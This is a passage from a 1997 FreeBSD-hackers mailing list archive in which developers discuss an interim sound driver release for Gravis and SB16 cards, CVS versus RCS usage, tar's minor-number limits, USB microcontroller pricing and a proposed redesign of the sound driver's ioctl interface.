assumes you're tracking -current. Otherwise you need to find out > the RCS version number or tag and check that out (and use this for the > rcsdiff, as well). If you are using CVS, you don't need to do any of this. I strongly advise against using RCS commands for anything involving the CVS repo. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Aug 6 21:15:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA14985 for hackers-outgoing; Wed, 6 Aug 1997 21:15:13 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA14974 for ; Wed, 6 Aug 1997 21:15:08 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id NAA13026; Thu, 7 Aug 1997 13:44:50 +0930 (CST) From: Michael Smith Message-Id: <199708070414.NAA13026@genesis.atrad.adelaide.edu.au> Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: <199708070227.TAA20884@tenor.cgt.com> from Parag Patel at "Aug 6, 97 07:30:48 pm" To: parag@cgt.com (Parag Patel) Date: Thu, 7 Aug 1997 13:44:49 +0930 (CST) Cc: hackers@FreeBSD.ORG, agp@peritek.com X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Parag Patel stands accused of saying: > > > >In 10k volumes, an integrated USB target/micro device would have to be > >under the AUD$1 mark before it is cost effective. Try getting that > >sort of quantity pricing on the Z8 or PIC micros commonly used in > >serial mice these days... > > I just saw an ad at the back of the latest EETimes (Mon Aug 4, 1997 #965) > from Cypress . The ad claims that they're selling > the first USB uC under $1.00. (But they don't mention quantity.) It's > their CY7C63nxx series of parts designed for joysticks, gamepads, and > keyboards. Alright! Talk about timing 8) The price in those sort of adevertisements is almost always their bulk quantity pricing. > It's an 8-bit microcontroller including RAM (128 or 256 bytes depending > on the part), EPROM (4Kb or 8Kb), a USB serial engine, and a transceiver. > It has a clock-doubler and "instant-on" low-power features. Number of > I/Os (whatever those are) vary from 10 to 39. The ad claims it's a RISC > core but doesn't say what's in it. Number of I/O's refers to the number of uncommitted external pins available for generic I/O. You need 6 for a 3-button rodent; if you're patient enough you can do absolutely anything with 10 (but you need extra logic; more I/O's just saves you space and parts count). I'll have to look into these guys; this is pretty hot stuff. > The also advertise a development system is $495 including an emulator, > assembler, debugger, software for mouse/joysticks, and a USB code > library. Not quite at the geek hobbyist level, but certainly not > outrageous either. US$500 is pretty average for a full development kit; there's probably a cheaper option that just gives you the asembler and leaves you to build the programming hardware yourself. Do they mention anything about reprogrammable parts? The $1 component is going to be an OTP in a plastic package I expect; an EEPROM or windowed part would be useful for development. > For the record, I'm not am employee, customer, a contractor, or in any > way affiliated with Cypress. I wouldn't care if you were; the information is still appreciated 8) > -- Parag -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Aug 6 21:30:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA15928 for hackers-outgoing; Wed, 6 Aug 1997 21:30:17 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA15918; Wed, 6 Aug 1997 21:30:12 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.6/8.8.5) with ESMTP id VAA00295; Wed, 6 Aug 1997 21:30:11 -0700 (PDT) Message-Id: <199708070430.VAA00295@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: multimedia@freebsd.org cc: hackers@freebsd.org Subject: [snddrv]: supports xquake's sound using a gus pnp pro or a SB16. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 06 Aug 1997 21:30:11 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk To clarify this is an interim driver release till Luigi and the rest of the multimedia gang get a chance to complete the next generation sound driver. If you can help in the way of sound driver hacking please subscribe to the multimedia mailing list: mail majordomo@freebsd.org subscribe multimedia --- Luigi's email: luigi@labinfo.iet.unipi.it (Luigi Rizzo) --- GUSPNP11 8/6//97 This sound driver is for FreeBSD 3.0-current . Major enhancement. We now support mapping the dma buffer to user space for write operations only. This features is useful for games like xquake . So far the mmap features seems to work with the GUS PnP Pro and with the SB16. The latter you have to define BROKENSB in order for xquake to work additionally when you define this feature the provided example, mmap_test.c, will not work. Apparently, something in the Sb16 is causing the dma counter to go backwards only for 16bit playback operations such as in xquake. If you are interested in debugging the problem just place a printf in dmabuf.c:get_buffer_pointer to print the returned value of isa_dmastatus. BTW: isa_dmastatus is part of -current so if you don't have it just go up to ftp.freebsd.org and download from current sys/i386/isa/isa.c and cut/paste the routine to your /sys/i386/isa/isa.c For xquake you will need: 1. a few mods to the linux loadable module so just download it and replace yours: cd /sys/i386/ tar -xzf linux_ioctl.tar.gz cd /usr/src/lkm/linux make make install modunload -i 0 (if you have the linux up and running) linux ftp://rah.star-gate.com/linux_ioctl.tar.gz 2. Install the linux lib 2.4 package: pkg_add linux_lib-2.4.tgz ftp://ftp.freebsd.org/pub/FreeBSD/packages-current/emulators/linux_lib-2.4.tgz If you don't have xquake you can get it from: 3. ftp://ftp.freebsd.org/pub/idgames/idstuff/unsup/intel_linux_quake101.tgz A simple test program mmap_test.c is provided in the sound driver directory. So copy it to your home directory or favorite place and compile it. cc -o mmap_test mmap_test.c record a sample session: cat /dev/dsp >smpl now run mmap_test . You will hear a loud pop thats a test program problem then the sample stream will loop . Phew, now back to sound driver land 8) This is a minor sound driver release for the GUS PnP Pro , GUS MAX, AudioTrix Pro , SB16 and SB16 PnP. There is also an experimental AWE sub model. Included Luigi's clean up work . Tnks! Randall Hopper's SB16 speed setting fix . Tnks! Fixed signal handling throught out the sound driver. The problem first surfaced with the SB16 not generating an interrupt on the last dma request and SB afficionados quickly pointed out the bug in the driver. I had to put back the auto dma feature for xquake :( NOTE YOU DON'T NEED THE PNP DRIVER FOR THE GUS PNP SINCE THE DRIVER HAS BUILTIN PNP SUPPORT FOR THE GUS. My P133 Bios supports PnP. To first figured out what my SB16 PnP was being configured to I booted win95 and checked out what Win95 ended up with . Alternatively, if you want to you can also down load Sujal Patel's PnP driver: ftp://rah.start-gate.com/pub/FreeBSD-ISA_PnP_June8.tar.gz follow the instructions on how to configure your PnP soundcard or ISA device. Lugi also has Sujal's PnP driver . --- http://www.iet.unipi.it/~luigi/pnp.c http://www.iet.unipi.it/~luigi/pnp.h the two main files. Follow Sujal Patel's instructions for installing pnp support. http://www.iet.unipi.it/~luigi/pnpinfo.tgz --- This is my kernel configuration for my SB16 PnP: controller snd0 device sb0 at isa? port 0x220 irq 10 conflicts drq 3 vector sbintr device sbxvi0 at isa? port? irq? drq 5 conflicts device opl0 at isa? port 0x388 conflicts device sbmidi0 at isa? port 0x300 irq? conflicts ---- The difference between a GUS PnP and a GUS PnP PRO is that the Pro comes with 512kb. I went out an got a 1mb 60ns 30pin simm and installed it on my GUS PnP. I own a GUS PnP and a GUS PnP PRO. To unpack: cd / mv /sys/i386/isa/sound /sys/i386/isa/sound.old cd /sys/i386/isa/ tar -xzf guspnp15.tar.gz cd /sys/i386/conf Edit the kernel config file in /sys/i386/conf IF YOU HAVE A GUS MAX or GUS add the option NOGUSPNP to the config file OPTIONS NOGUSPNP THEN follow the instructions for NONPNP CONFIGURATION PNP CONFIGURATION To configure your guspnp PRO if you have a motherboard which supports PnP: controller snd0 device gus0 at isa? vector gusintr NONPNP CONFIGURATION To configure your guspnp PRO if your motherboard does NOT support PnP: device gus0 at isa? port 0x220 irq 11 drq 1 flags 0x3 vector gusintr the gus pnp is fully software configurable and the above configuration is setup for full duplex audio. The dma channel settings are: drq 1 --- DMA channel for playback flags 0x3 --- DMAN channel for recording In the event that you have to configure a GUS PnP manually or a GUS MAX: Available IRQs for the GUS are: 3, 5, 7, 9, 11, 12, 15 Available DMA channels for the GUS are: 1, 3, 5, 6, 7 config cd /sys/compile/ make make install THERE IS NO NEED TO BOOT TO DOS TO CONFIGURE YOUR GUS PNP. THE DRIVER HAS BUILTIN SUPPORT FOR PNP WHICH I GOT FROM THE GRAVIS DRIVER DEVELOPMENT KIT Many thanks to Brian Litzinger for porting the sound driver 3.5 to 2.2-current. Well, thats a while ago hence the reference to 2.2. Have fun, Amancio From owner-freebsd-hackers Wed Aug 6 21:47:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA16718 for hackers-outgoing; Wed, 6 Aug 1997 21:47:47 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA16709 for ; Wed, 6 Aug 1997 21:47:44 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id VAA19451; Wed, 6 Aug 1997 21:14:18 -0700 (PDT) To: Michael Smith cc: peter.jeremy@alcatel.com.au, freebsd-hackers@FreeBSD.ORG Subject: Re: Ethernet driver for Compaq Deskpro 4000 In-reply-to: Your message of "Thu, 07 Aug 1997 12:10:03 +0930." <199708070240.MAA11605@genesis.atrad.adelaide.edu.au> Date: Wed, 06 Aug 1997 21:14:18 -0700 Message-ID: <19447.870927258@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I'm fairly certain that this is not the case; I pursued the datasheet > for this part last time the issue was raised, and I do recall locating > it. It looks like I was wrong, confusing this card with one from a different manufacturer. "Never mind." :-) Jordan From owner-freebsd-hackers Wed Aug 6 22:23:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA18347 for hackers-outgoing; Wed, 6 Aug 1997 22:23:40 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA18342; Wed, 6 Aug 1997 22:23:37 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.6/8.8.5) with ESMTP id WAA00566; Wed, 6 Aug 1997 22:23:36 -0700 (PDT) Message-Id: <199708070523.WAA00566@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 to: multimedia@FreeBSD.ORG cc: hackers@FreeBSD.ORG Subject: Re: [snddrv]: supports xquake's sound using a gus pnp pro or a SB16. In-reply-to: Your message of "Wed, 06 Aug 1997 21:30:11 PDT." <199708070430.VAA00295@rah.star-gate.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 06 Aug 1997 22:23:35 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Oops, driver location: ftp://rah.star-gate.com/pub/guspnp.tar.gz Cheers, Amancio From owner-freebsd-hackers Thu Aug 7 00:10:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA24061 for hackers-outgoing; Thu, 7 Aug 1997 00:10:41 -0700 (PDT) Received: from polya.blah.org (slmel9p50.ozemail.com.au [203.7.187.66]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA24056 for ; Thu, 7 Aug 1997 00:10:33 -0700 (PDT) Received: (from ada@localhost) by polya.blah.org (8.8.6/8.8.5) id OAA00318 for hackers@freebsd.org; Thu, 7 Aug 1997 14:24:17 +1000 (EST) From: Ada T Lim Message-Id: <199708070424.OAA00318@polya.blah.org> Subject: large minor numbers To: hackers@freebsd.org Date: Thu, 7 Aug 1997 14:24:16 +1000 (EST) X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On the topic of minor numbers for certain devices, it was mentioned that there was no 8-bit limit upon these. Has it occurred to anyone to fix tar to understand these? If I do a tar of /dev, it'll give me a bunch of errors saying 'minor number too large'. Ada From owner-freebsd-hackers Thu Aug 7 00:49:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA25659 for hackers-outgoing; Thu, 7 Aug 1997 00:49:43 -0700 (PDT) Received: from bugs.us.dell.com (bugs.us.dell.com [143.166.169.147]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id AAA25653 for ; Thu, 7 Aug 1997 00:49:40 -0700 (PDT) Received: from ant.us.dell.com (ant.us.dell.com [198.64.66.34]) by bugs.us.dell.com (8.6.12/8.6.12) with SMTP id CAA15262; Thu, 7 Aug 1997 02:48:02 -0500 Message-Id: <3.0.2.32.19970807023455.006c4904@bugs.us.dell.com> X-Sender: tony@bugs.us.dell.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32) Date: Thu, 07 Aug 1997 02:34:55 -0500 To: Mark Mayo From: Tony Overfield Subject: Re: Pentium II? Cc: Curt Sampson , hackers@FreeBSD.ORG In-Reply-To: <19970806223748.63083@vinyl.quickweb.com> References: <3.0.2.32.19970806043249.006df3e4@bugs.us.dell.com> <3.0.2.32.19970803041915.006a69e4@bugs.us.dell.com> <3.0.2.32.19970806043249.006df3e4@bugs.us.dell.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 10:37 PM 8/6/97 -0400, Mark Mayo wrote: >Just one question: why are you comparing the PPro with 256K cache >instead of the PPro 200/512 ?? Everybody I know that builds high >end PC server (an oxymoron I know..) used the 512KB version of >the PPro... And most run it at 233MHz... Because my point was only to show that the L1 is faster than the L2 cache, even on the PPro. The size of the L2 cache isn't important to that specific point. I did describe the data which indicated the L2 cache size, but only because I wanted to explain the rest of the numbers for the sake of completeness. The PPro 200/512 has only two numbers different. The 384KB and 512KB numbers are similar to the 256KB number instead of the 768KB number. I don't have the time or will to properly compare the PPro to the PII for high end PC servers. It's my *opinion* that the PII at 266 or 300 MHz will always outperform the PPro, unless you need more than two processors, in which case the PPro is currently the only way to get that. You might also look at: http://www.alde.com/speed.html to see how at least one CPU bound application performs on a wide variety of processors. - Tony From owner-freebsd-hackers Thu Aug 7 01:11:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA26612 for hackers-outgoing; Thu, 7 Aug 1997 01:11:36 -0700 (PDT) Received: from nico.telstra.net (nico.telstra.net [139.130.204.16]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id BAA26607 for ; Thu, 7 Aug 1997 01:11:34 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by nico.telstra.net (8.6.10/8.6.10) with ESMTP id SAA25935; Thu, 7 Aug 1997 18:10:54 +1000 From: Greg Lehey Received: (grog@localhost) by freebie.lemis.com (8.8.7/8.6.12) id RAA24707; Thu, 7 Aug 1997 17:40:52 +0930 (CST) Message-Id: <199708070810.RAA24707@freebie.lemis.com> Subject: Re: kernel don't compile In-Reply-To: <199708070405.NAA12934@genesis.atrad.adelaide.edu.au> from Michael Smith at "Aug 7, 97 01:35:01 pm" To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Thu, 7 Aug 1997 17:40:52 +0930 (CST) Cc: grog@lemis.com, pallenby@zibbi.mikom.csir.co.za, hackers@FreeBSD.ORG Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Michael Smith writes: > Greg Lehey stands accused of saying: >> >> This looks suspciously like a cvs error. You'll probably find a diff >> line at 935. Try this: >> >> cd /usr/src/sys/i386/isa >> ln -s `cat CVS/Repository` RCS >> rcsdiff -wu isa.c > > It is much easier to say : > > % cd /sys/i386/isa > % cvs diff -wu isa.c > >> You should find significant differences. To fix things, do >> >> co isa.c > > And likewise > > % rm isa.c > % cvs update isa.c > >> This assumes you're tracking -current. Otherwise you need to find out >> the RCS version number or tag and check that out (and use this for the >> rcsdiff, as well). > > If you are using CVS, you don't need to do any of this. I strongly > advise against using RCS commands for anything involving the CVS > repo. Mea culpa. Guess who hates cvs? Greg From owner-freebsd-hackers Thu Aug 7 01:13:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA26689 for hackers-outgoing; Thu, 7 Aug 1997 01:13:16 -0700 (PDT) Received: from nico.telstra.net (nico.telstra.net [139.130.204.16]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id BAA26682 for ; Thu, 7 Aug 1997 01:13:13 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by nico.telstra.net (8.6.10/8.6.10) with ESMTP id SAA25966; Thu, 7 Aug 1997 18:12:40 +1000 From: Greg Lehey Received: (grog@localhost) by freebie.lemis.com (8.8.7/8.6.12) id RAA24898; Thu, 7 Aug 1997 17:42:39 +0930 (CST) Message-Id: <199708070812.RAA24898@freebie.lemis.com> Subject: Re: large minor numbers In-Reply-To: <199708070424.OAA00318@polya.blah.org> from Ada T Lim at "Aug 7, 97 02:24:16 pm" To: ada@not-enough.bandwidth.org (Ada T Lim) Date: Thu, 7 Aug 1997 17:42:38 +0930 (CST) Cc: hackers@FreeBSD.ORG Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Ada T Lim writes: > On the topic of minor numbers for certain devices, it was mentioned that > there was no 8-bit limit upon these. Has it occurred to anyone to fix > tar to understand these? If I do a tar of /dev, it'll give me a bunch of > errors saying 'minor number too large'. The trouble is, tar is a portable format, and it's one of its greatest advantages. If you "fix" it for large minor numbers, you'll break it for exchange to anything else. I think pax might understand this sort of thing. That would be the program to "fix", anyway, since it supports multiple formats anyway. Greg From owner-freebsd-hackers Thu Aug 7 01:19:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA26967 for hackers-outgoing; Thu, 7 Aug 1997 01:19:54 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA26962 for ; Thu, 7 Aug 1997 01:19:50 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id RAA14190; Thu, 7 Aug 1997 17:49:23 +0930 (CST) From: Michael Smith Message-Id: <199708070819.RAA14190@genesis.atrad.adelaide.edu.au> Subject: Re: kernel don't compile In-Reply-To: <199708070810.RAA24707@freebie.lemis.com> from Greg Lehey at "Aug 7, 97 05:40:52 pm" To: grog@lemis.com (Greg Lehey) Date: Thu, 7 Aug 1997 17:49:23 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, grog@lemis.com, pallenby@zibbi.mikom.csir.co.za, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greg Lehey stands accused of saying: > > > > If you are using CVS, you don't need to do any of this. I strongly > > advise against using RCS commands for anything involving the CVS > > repo. > > Mea culpa. Guess who hates cvs? Most of us. The issue isn't so much loving or hating as making best use of the tools that we have to hand. Saves-on-typing you what. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu Aug 7 01:58:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA28463 for hackers-outgoing; Thu, 7 Aug 1997 01:58:53 -0700 (PDT) Received: from superior.mooseriver.com (dynamic28.pm03.sf1.best.com [206.184.197.92]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA28458 for ; Thu, 7 Aug 1997 01:58:50 -0700 (PDT) Received: (from jgrosch@localhost) by superior.mooseriver.com (8.8.6/8.8.5) id BAA00801; Thu, 7 Aug 1997 01:58:49 -0700 (PDT) Message-ID: <19970807015848.33608@mooseriver.com> Date: Thu, 7 Aug 1997 01:58:48 -0700 From: Josef Grosch To: hackers@freebsd.org Subject: disktab for HP C3010M1 Reply-To: jgrosch@superior.mooseriver.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Does any one have a disktab entry for a HP C3010M1 Thanks Josef -- Josef Grosch | Another day closer to a | FreeBSD 2.2.2 jgrosch@MooseRiver.com | Micro$oft free world | UNIX for the masses From owner-freebsd-hackers Thu Aug 7 02:25:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA29351 for hackers-outgoing; Thu, 7 Aug 1997 02:25:52 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA29346 for ; Thu, 7 Aug 1997 02:25:47 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id SAA14373; Thu, 7 Aug 1997 18:55:38 +0930 (CST) From: Michael Smith Message-Id: <199708070925.SAA14373@genesis.atrad.adelaide.edu.au> Subject: Re: disktab for HP C3010M1 In-Reply-To: <19970807015848.33608@mooseriver.com> from Josef Grosch at "Aug 7, 97 01:58:48 am" To: jgrosch@superior.mooseriver.com Date: Thu, 7 Aug 1997 18:55:37 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Josef Grosch stands accused of saying: > Does any one have a disktab entry for a HP C3010M1 The 'auto' entry is a pretty good fit 8) > Josef -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu Aug 7 08:52:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA13830 for hackers-outgoing; Thu, 7 Aug 1997 08:52:33 -0700 (PDT) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA13824; Thu, 7 Aug 1997 08:52:28 -0700 (PDT) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id QAA13987; Thu, 7 Aug 1997 16:55:07 +0200 From: Luigi Rizzo Message-Id: <199708071455.QAA13987@labinfo.iet.unipi.it> Subject: [snddrv] proposal for ioctl change To: multimedia@freebsd.org Date: Thu, 7 Aug 1997 16:55:06 +0200 (MET DST) Cc: luigi@labinfo.iet.unipi.it (Luigi Rizzo) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [foreword: I do not want to criticise the Voxware interface; there is a reson why it is like it is. It's just that having rewritten the sound driver from scratch gives me a good chance to cleanup the interface...] I am revising the ioctl() interface in the sound driver. In the voxware scheme, there are over 100 (yes one hundred) different ioctls, plus about 30 aliases. The pcm interface alone has some 60 calls and 20+ aliases. In most cases, there are several methods to specify the same actions (most noticeably stereo). Moreover, often one has to issue several calls (one to set speed; one to choose between signed, unsigned, 8/16 bit, u/alaw/uncompressed...; another one to set stereo/mono) to set the data format, and this is quite confusing both for the programmer and the driver itself, since some combinations might only make sense if specified all at once (e.g. some boards could do mono faster than stereo, etc). No wonder the current structure is quite messy, and I doubt the programmer really knows how to use it in a sensible way. SO: I plan to work on a revised ioctl() interface, using only a handful of calls for the pcm part, basically three pairs (get & set): - one for the data format (all parameters in one call, including the desired buffer size, measured in bytes or time) for each supported channel (i.e. input, output, and if a board has more independent channels, they will support all of them); - one to access the mixers (again, in one call one specifies mixer, channel, volume, muting, active sources for play & rec...); - one (or little more) for timing-related issue, i.e. check how many pending bytes are in the playout/record buffers, flush buffers, record callbacks in case of mmapped buffers... I am inspiring to the nice work done on the meteor driver where, at the beginning, there was a nice effort toward the reduction of ioctls to set the board parameters. Are there objections or suggestions on the above ? In the process I will try to keep compatible with Voxware ioctls(), (since I have already implemented many of them, it won't cost me much). Cheers Luigi -----------------------------+-------------------------------------- Luigi Rizzo | Dip. di Ingegneria dell'Informazione email: luigi@iet.unipi.it | Universita' di Pisa tel: +39-50-568533 | via Diotisalvi 2, 56126 PISA (Italy) fax: +39-50-568522 | http://www.iet.unipi.it/~luigi/ _____________________________|______________________________________ From owner-freebsd-hackers Thu Aug 7 10:25:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA18388 for hackers-outgoing; Thu, 7 Aug 1997 10:25:28 -0700 (PDT) Received: from fang.cs.sunyit.edu (chuck@fang.cs.sunyit.edu [192.52.220.66]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA18382 for ; Thu, 7 Aug 1997 10:25:24 -0700 (PDT) Received: (from chuck@localhost) by fang.cs.sunyit.edu (8.8.5/8.7.3) id RAA13275 for hackers@freebsd.org; Thu, 7 Aug 1997 17:25:16 GMT Date: Thu, 7 Aug 1997 17:25:16 GMT From: Charles Green Message-Id: <199708071725.RAA13275@fang.cs.sunyit.edu> X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: hackers@freebsd.org Subject: vm86 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I remember a few months back someone wrote in and said that he was working on adding vm86 to the freebsd kernel. Has this project fissled out or has other projects taken priority? -- Charles Green, PRC Inc. Rome Laboratory, NY From owner-freebsd-hackers Thu Aug 7 10:51:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA19469 for hackers-outgoing; Thu, 7 Aug 1997 10:51:17 -0700 (PDT) Received: from tenor.cgt.com (root@tenor.CGT.COM [207.44.182.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA19459 for ; Thu, 7 Aug 1997 10:51:11 -0700 (PDT) Received: from [205.134.245.120] (ppp120-stk0.sirius.net [205.134.245.120]) by tenor.cgt.com (8.8.5/8.8.5) with SMTP id KAA26255; Thu, 7 Aug 1997 10:50:55 -0700 (PDT) Message-Id: <199708071750.KAA26255@tenor.cgt.com> Subject: Re: Status of USB, TX chipset, PIIX3, etc. Date: Thu, 7 Aug 97 10:54:15 -0700 x-sender: parag@mail.codegen.com x-mailer: Claris Emailer 2.0v2, June 6, 1997 From: Parag Patel To: "Michael Smith" cc: , "AGP Group" Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 8/6/1997 10:14 PM, Michael Smith (msmith@atrad.adelaide.edu.au) said: >Do they mention anything about reprogrammable parts? The $1 component >is going to be an OTP in a plastic package I expect; an EEPROM or >windowed part would be useful for development. No mention in their ad that I can see, although they do mention EPROM (but not EEPROM). You may want to check out their web site. BTW - I mispelled it in my earlier note - the ad says go to . -- Parag From owner-freebsd-hackers Thu Aug 7 10:52:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA19577 for hackers-outgoing; Thu, 7 Aug 1997 10:52:37 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA19563 for ; Thu, 7 Aug 1997 10:52:27 -0700 (PDT) Received: from haldjas.folklore.ee (haldjas.folklore.ee [172.17.2.1] (may be forged)) by haldjas.folklore.ee 